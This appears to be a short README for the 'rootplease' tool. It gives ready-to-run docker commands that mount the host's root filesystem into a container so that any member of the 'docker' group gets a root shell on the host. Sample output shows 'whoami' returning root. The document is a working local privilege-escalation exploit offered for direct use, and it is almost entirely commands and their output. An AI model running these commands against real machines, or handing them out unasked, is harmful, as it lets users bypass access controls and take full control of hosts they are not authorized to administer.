If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. See my blog post for details.
Through Docker Hub:
> docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
Or through Github:
> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
> cd rootplease/
> docker build -t rootplease .
> docker run -v /:/hostOS -it --rm rootplease
And the result:
johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
#